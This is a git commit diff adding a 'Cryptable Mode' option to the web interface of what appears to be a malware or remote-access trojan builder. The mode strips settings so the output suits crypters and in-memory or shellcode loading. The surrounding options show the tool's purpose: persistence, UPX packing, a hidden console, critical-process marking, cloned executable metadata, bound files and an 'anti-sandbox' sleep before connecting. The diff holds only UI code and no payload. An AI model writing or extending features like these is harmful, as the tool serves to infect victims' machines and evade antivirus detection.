add cryptable mode to the UI
This commit is contained in:
@@ -121,6 +121,7 @@ function saveFormSettings() {
|
|||||||
assemblyVersion: document.getElementById("assembly-version")?.value ?? "",
|
assemblyVersion: document.getElementById("assembly-version")?.value ?? "",
|
||||||
assemblyCopyright: document.getElementById("assembly-copyright")?.value ?? "",
|
assemblyCopyright: document.getElementById("assembly-copyright")?.value ?? "",
|
||||||
outputExtension: document.getElementById("output-extension")?.value ?? ".exe",
|
outputExtension: document.getElementById("output-extension")?.value ?? ".exe",
|
||||||
|
cryptableMode: document.getElementById("cryptable-mode")?.checked ?? false,
|
||||||
};
|
};
|
||||||
localStorage.setItem(BUILD_SETTINGS_KEY, JSON.stringify(settings));
|
localStorage.setItem(BUILD_SETTINGS_KEY, JSON.stringify(settings));
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
@@ -176,6 +177,7 @@ function restoreFormSettings() {
|
|||||||
if (s.assemblyVersion !== undefined) setVal("assembly-version", s.assemblyVersion);
|
if (s.assemblyVersion !== undefined) setVal("assembly-version", s.assemblyVersion);
|
||||||
if (s.assemblyCopyright !== undefined) setVal("assembly-copyright", s.assemblyCopyright);
|
if (s.assemblyCopyright !== undefined) setVal("assembly-copyright", s.assemblyCopyright);
|
||||||
if (s.outputExtension !== undefined) setVal("output-extension", s.outputExtension);
|
if (s.outputExtension !== undefined) setVal("output-extension", s.outputExtension);
|
||||||
|
if (s.cryptableMode !== undefined) setCb("#cryptable-mode", s.cryptableMode);
|
||||||
|
|
||||||
const restoredObfuscate = document.querySelector('input[name="obfuscate"]');
|
const restoredObfuscate = document.querySelector('input[name="obfuscate"]');
|
||||||
const garbleContainer = document.getElementById("garble-settings-container");
|
const garbleContainer = document.getElementById("garble-settings-container");
|
||||||
@@ -192,6 +194,100 @@ function restoreFormSettings() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const CRYPTABLE_DISABLE_TARGETS = [
|
||||||
|
'input[name="enable-persistence"]',
|
||||||
|
'input[name="enable-upx"]',
|
||||||
|
'input[name="upx-strip-headers"]',
|
||||||
|
'input[name="hide-console"]',
|
||||||
|
'input[name="require-admin"]',
|
||||||
|
'input[name="critical-process"]',
|
||||||
|
];
|
||||||
|
|
||||||
|
const CRYPTABLE_DISABLE_INPUTS = [
|
||||||
|
"#assembly-title",
|
||||||
|
"#assembly-product",
|
||||||
|
"#assembly-company",
|
||||||
|
"#assembly-version",
|
||||||
|
"#assembly-copyright",
|
||||||
|
"#output-extension",
|
||||||
|
"#sleep-seconds",
|
||||||
|
];
|
||||||
|
|
||||||
|
const CRYPTABLE_HIDE_SECTIONS = [4, 5, 6];
|
||||||
|
|
||||||
|
function applyCryptableMode(enabled) {
|
||||||
|
const badge = document.getElementById("cryptable-badge");
|
||||||
|
if (badge) badge.classList.toggle("hidden", !enabled);
|
||||||
|
|
||||||
|
CRYPTABLE_DISABLE_TARGETS.forEach((sel) => {
|
||||||
|
const el = document.querySelector(sel);
|
||||||
|
if (!el) return;
|
||||||
|
if (enabled) {
|
||||||
|
el.checked = false;
|
||||||
|
el.disabled = true;
|
||||||
|
el.closest("label")?.classList.add("opacity-40", "pointer-events-none");
|
||||||
|
} else {
|
||||||
|
el.disabled = false;
|
||||||
|
el.closest("label")?.classList.remove("opacity-40", "pointer-events-none");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
CRYPTABLE_DISABLE_INPUTS.forEach((sel) => {
|
||||||
|
const el = document.querySelector(sel);
|
||||||
|
if (!el) return;
|
||||||
|
if (enabled) {
|
||||||
|
el.dataset.preCryptableValue = el.value;
|
||||||
|
el.value = el.type === "number" ? "0" : "";
|
||||||
|
el.disabled = true;
|
||||||
|
el.classList.add("opacity-40");
|
||||||
|
} else {
|
||||||
|
if (el.dataset.preCryptableValue !== undefined) {
|
||||||
|
el.value = el.dataset.preCryptableValue;
|
||||||
|
delete el.dataset.preCryptableValue;
|
||||||
|
}
|
||||||
|
el.disabled = false;
|
||||||
|
el.classList.remove("opacity-40");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
const iconUploadEl = document.getElementById("icon-upload");
|
||||||
|
const iconLabelEl = document.getElementById("icon-label");
|
||||||
|
if (iconUploadEl) iconUploadEl.disabled = enabled;
|
||||||
|
if (iconLabelEl && enabled) iconLabelEl.closest("label")?.classList.toggle("opacity-40", enabled);
|
||||||
|
if (iconLabelEl && !enabled) iconLabelEl.closest("label")?.classList.remove("opacity-40");
|
||||||
|
|
||||||
|
const cloneExeUploadEl = document.getElementById("clone-exe-upload");
|
||||||
|
if (cloneExeUploadEl) cloneExeUploadEl.disabled = enabled;
|
||||||
|
if (cloneExeUploadEl) cloneExeUploadEl.closest("label")?.classList.toggle("opacity-40", enabled);
|
||||||
|
|
||||||
|
const bindAddLabelEl = document.getElementById("bind-add-label");
|
||||||
|
if (bindAddLabelEl) {
|
||||||
|
bindAddLabelEl.classList.toggle("opacity-40", enabled);
|
||||||
|
bindAddLabelEl.classList.toggle("pointer-events-none", enabled);
|
||||||
|
}
|
||||||
|
|
||||||
|
const sections = document.querySelectorAll(".accordion-section");
|
||||||
|
CRYPTABLE_HIDE_SECTIONS.forEach((idx) => {
|
||||||
|
const sec = sections[idx - 1];
|
||||||
|
if (!sec) return;
|
||||||
|
if (enabled) {
|
||||||
|
sec.classList.add("opacity-30", "pointer-events-none");
|
||||||
|
sec.dataset.cryptableDisabled = "true";
|
||||||
|
} else {
|
||||||
|
sec.classList.remove("opacity-30", "pointer-events-none");
|
||||||
|
delete sec.dataset.cryptableDisabled;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
if (enabled) {
|
||||||
|
updatePersistenceSettingsVisibility();
|
||||||
|
const upxC = document.getElementById("upx-settings-container");
|
||||||
|
if (upxC) upxC.classList.add("hidden");
|
||||||
|
}
|
||||||
|
|
||||||
|
saveFormSettings();
|
||||||
|
}
|
||||||
|
|
||||||
restoreFormSettings();
|
restoreFormSettings();
|
||||||
initAccordions();
|
initAccordions();
|
||||||
updateWindowsSectionVisibility();
|
updateWindowsSectionVisibility();
|
||||||
@@ -376,6 +472,16 @@ if (upxCheckbox && upxSettingsContainer) {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const cryptableCheckbox = document.getElementById("cryptable-mode");
|
||||||
|
if (cryptableCheckbox) {
|
||||||
|
cryptableCheckbox.addEventListener("change", () => {
|
||||||
|
applyCryptableMode(cryptableCheckbox.checked);
|
||||||
|
});
|
||||||
|
if (cryptableCheckbox.checked) {
|
||||||
|
applyCryptableMode(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
let pendingIconBase64 = null;
|
let pendingIconBase64 = null;
|
||||||
const iconUpload = document.getElementById("icon-upload");
|
const iconUpload = document.getElementById("icon-upload");
|
||||||
const iconLabel = document.getElementById("icon-label");
|
const iconLabel = document.getElementById("icon-label");
|
||||||
|
|||||||
@@ -302,6 +302,22 @@
|
|||||||
<p class="text-xs text-slate-500">Sleep N seconds before connecting (anti-sandbox). Set to 0 to disable.</p>
|
<p class="text-xs text-slate-500">Sleep N seconds before connecting (anti-sandbox). Set to 0 to disable.</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-purple-900/30 border border-purple-500/40 rounded-lg cursor-pointer hover:border-purple-400 transition-colors">
|
||||||
|
<input type="checkbox" id="cryptable-mode" name="cryptable-mode" class="w-4 h-4" />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-microchip text-purple-400"></i> Cryptable Mode
|
||||||
|
</span>
|
||||||
|
<span class="text-xs text-slate-500">Disables persistence, UPX, PE metadata, UAC, bound files & other disk-dependent settings for in-memory / shellcode use</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
<div id="cryptable-badge" class="hidden pl-3 border-l-2 border-purple-500/40">
|
||||||
|
<div class="flex items-center gap-2 px-3 py-1.5 rounded bg-purple-800/40 border border-purple-600/40 text-xs text-purple-300">
|
||||||
|
<i class="fa-solid fa-circle-check"></i>
|
||||||
|
<span>Cryptable mode active — incompatible settings have been disabled</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
Reference in New Issue
Block a user